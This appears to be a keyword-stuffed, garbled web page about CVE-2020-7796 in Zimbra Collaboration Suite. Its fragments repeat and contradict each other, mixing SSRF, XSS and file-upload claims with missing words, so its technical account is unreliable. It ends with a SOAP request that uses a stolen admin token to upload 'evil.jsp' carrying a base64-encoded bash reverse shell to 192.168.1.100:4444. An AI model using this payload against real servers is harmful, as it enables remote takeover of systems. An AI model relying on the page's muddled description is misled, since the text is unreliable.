Zimbra Collaboration Suite Full !!install!! | Cve20207796

: The vulnerable Zimbra server can be used as a proxy to launch further attacks on other systems, masking the attacker's true origin. Remediation & Mitigation

Malicious scripts can automatically forward emails or download private documents from the Drive.

Review your Zimbra access logs for unusual file names or suspicious activity in the Drive module. Look for common XSS patterns like , onerror , or javascript: . cve20207796 zimbra collaboration suite full

The attack is relatively straightforward to execute.

Attackers can map out an organization's internal network structure. : The vulnerable Zimbra server can be used

represents a significant security flaw found in the Zimbra Collaboration Suite (ZCS) that, at its peak, posed a severe risk to organizations relying on this widely used email and collaboration platform. Classified as a Server-Side Request Forgery (SSRF) vulnerability, this issue allowed unauthenticated, remote attackers to trick the Zimbra server into making unauthorized HTTP requests to internal or external systems.

The flaw stems from insufficient input validation within a specific server-side component of the Zimbra application. Specifically, it triggers when the is installed and the Zimlet JSP (JavaServer Pages) functionality is enabled . Look for common XSS patterns like , onerror , or javascript:

<soap:Envelope> <soap:Header> <context> <authToken>[stolen_admin_token]</authToken> </context> </soap:Header> <soap:Body> <SaveDocumentRequest> <content>ZmFsbGJhY2sgc2hlbGw9Ii9iaW4vYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMSc=</content> <filename>evil.jsp</filename> </SaveDocumentRequest> </soap:Body> </soap:Envelope>